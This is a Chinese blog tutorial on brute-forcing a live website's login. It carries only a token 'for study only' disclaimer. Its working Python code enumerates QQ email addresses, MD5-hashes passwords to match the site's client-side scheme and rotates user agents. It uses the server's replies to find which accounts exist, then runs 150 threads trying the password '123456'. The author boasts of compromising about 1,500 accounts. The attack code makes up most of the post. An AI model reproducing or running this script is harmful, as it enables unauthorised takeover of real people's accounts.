zoukankan      html  css  js  c++  java
  • 如何通过Python暴力破解网站登陆密码

    首先申明,该文章只可以用于交流学习,不可以用于其他用途,否则后果自负。

    现在国家对网络安全的管理,越来越严,但是还是有一些不法网站逍遥法外,受限于国内的人力、物力,无法对这些网站进行取缔。

    今天演示的这个网站,就是属于非法的网站。

    首先看登陆界面。

     抓取登陆信息。

    使用Post Form表单的形式,进行用户名和密码的提交。接下来我们看提交的用户名和密码。

    我输入的密码和用户名一致,说明该站对提交的密码进行了处理,等一会我来看,密码是怎么处理的,现在我们看服务器的返回信息。

    服务器返回的是JSON,到这一步,我们就差密码了,只要知道密码是怎么生成的,就能加速对用户密码的破解了。

    查看网站的脚本,发现密码是先在本地做MD5处理之后,才发送到服务器的。

    到了这一步,我们也就初步知道如何对该网站进行暴力破解了。

    由于现在的人们在进行网站注册的时候,都是使用QQ邮箱进行注册的,因此我们可以先构建一个QQ邮箱,先判断盖邮箱存不存在,然后我们在判断密码正不正确。

    现在我们的思路理清楚了,接下来直接上干货。

    user_num_low = 111111111
    user_num_max = 9999999999
    user_nbr = user_num_low
    
    mutex=Lock()
    
    #构造用户邮箱
    def get_user_nbr():
        mutex.acquire(3)
        global  user_nbr
        user_name = '%s%s' % (str(user_nbr), '@qq.com')
        user_nbr = user_nbr + 1
        mutex.release()
        return user_name
    
    def user_end_judge():
        mutex.acquire(3)
        result = False
        if user_nbr > user_num_max :
            result = True
        else:
            result = False
        mutex.release()
        return  result
    
    def get_curr_user():
        mutex.acquire(3)
        global  user_nbr
        user_name = '%s%s' % (str(user_nbr), '@qq.com')
        mutex.release()
        return user_name

     构造用于判断密码邮箱是否存在

    user_agent = [
        'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30',
        'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)',
        'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50',
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
    ]
    
    def save_pwd(user, pwd,desc):
        with open("resut.txt","a+") as f:
            f.write('user:'+ user + '  pwd:' + pwd + " desc:" + desc + '
    ')
    
    def user_test(username,password):
        resp = ""
        result = ""
        url = "http://www.k*.htm"
        pwd = password
        user= username
        md = hashlib.md5()
        md.update(pwd)
        password =  md.hexdigest()
        data = {'email':username,'password':password}
    
        # 设置网页编码格式,解码获取到的中文字符
        encoding = "gb18030"
        # 构造http请求头,设置user-agent
        header = {
            "User-Agent": random.choice(user_agent),
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'X-Requested-With':'XMLHttpRequest'
        }
    
        try:
            requests.adapters.DEFAULT_RETRIES = 5
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except requests.exceptions.ReadTimeout:
            print("1")
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except requests.exceptions.Timeout:
            print("2")
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except requests.exceptions.ConnectionError:
            print("3")
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except socket.error:
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except BaseException as e:
            print(e)
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
    
        resp.keep_alive = False
        #print(resp.content)
        try:
            result = resp.content
            json = resp.json()
            print('邮箱:%s ,result:%s 
     ' % (username,result))
            if (json['message'].find('不存在') > -1):
                #print('邮箱:%s 为空' % username )
                return False
            else:
                print('邮箱: %s 存在' % username)
                save_pwd(username, password, json['message'])
                return True
        except BaseException as e:
            print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))

    好了,我们获取到邮箱之后,就是要判断密码是否正确了,由于大部分人网站登陆,还是使用弱密码,我们可以到网上找一下相关的字典库,就可以直接破解了。

    判断密码是否正确,我们只需要在判断邮箱存在之后,再加一个判断即可。

      if(json['message'].find('错误') > -1):
                    print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd))
                    return False
                else:
                    print('邮箱: %s  密码: %s ,登陆成功!' % (username, pwd))

    由于用户和密码验证较多,单一线程工作需要较长的时间,因此我们需要用上多线程,缩短密码破解时间。

    def thread_bru(): # 破解子线程函数
        #while not user_end_judge():pwd_queue.empty()
        while not user_end_judge():
            try:
                pwd = ‘123456’
                user = get_user_nbr()
                #print pwd_test
                #if user_test(user, pwd_test):
                if user_test(user, pwd):
                    result = pwd
                    print ('破解 %s 成功,密码为: %s' % (user, pwd))
                    break
            except BaseException as e:
                print("破解子线程错误: %s" % e)
    
    def brute(threads):
        for i in range(threads):
            t = threading.Thread(target=thread_bru)
            t.start()
            print('破解线程-->%s 启动' % t.ident)
        while (not user_end_judge()): # 剩余口令集判断
            print('
     进度: 当前值 %d' % pwd_queue.qsize())
            time.sleep(2)
            #print('
    破解完毕')
    
    if __name__ == "__main__":
        brute(150)

    好了,初步编写完成。我们先刷完一部电影过来看看最终结果吧。

    居然测试成功1500左右的邮箱,还有很多许多人是用非常简单的密码的。

    有不懂的问题,加企鹅群交流吧:98556420。

  • 相关阅读:
    高精度计算
    高精度除以低精度
    P1258 小车问题
    POJ 2352 stars (树状数组入门经典!!!)
    HDU 3635 Dragon Balls(超级经典的带权并查集!!!新手入门)
    HDU 3938 Portal (离线并查集,此题思路很强!!!,得到所谓的距离很巧妙)
    POJ 1703 Find them, Catch them(确定元素归属集合的并查集)
    HDU Virtual Friends(超级经典的带权并查集)
    HDU 3047 Zjnu Stadium(带权并查集,难想到)
    HDU 3038 How Many Answers Are Wrong(带权并查集,真的很难想到是个并查集!!!)
  • 原文地址:https://www.cnblogs.com/kmust/p/9163512.html
Copyright © 2011-2022 走看看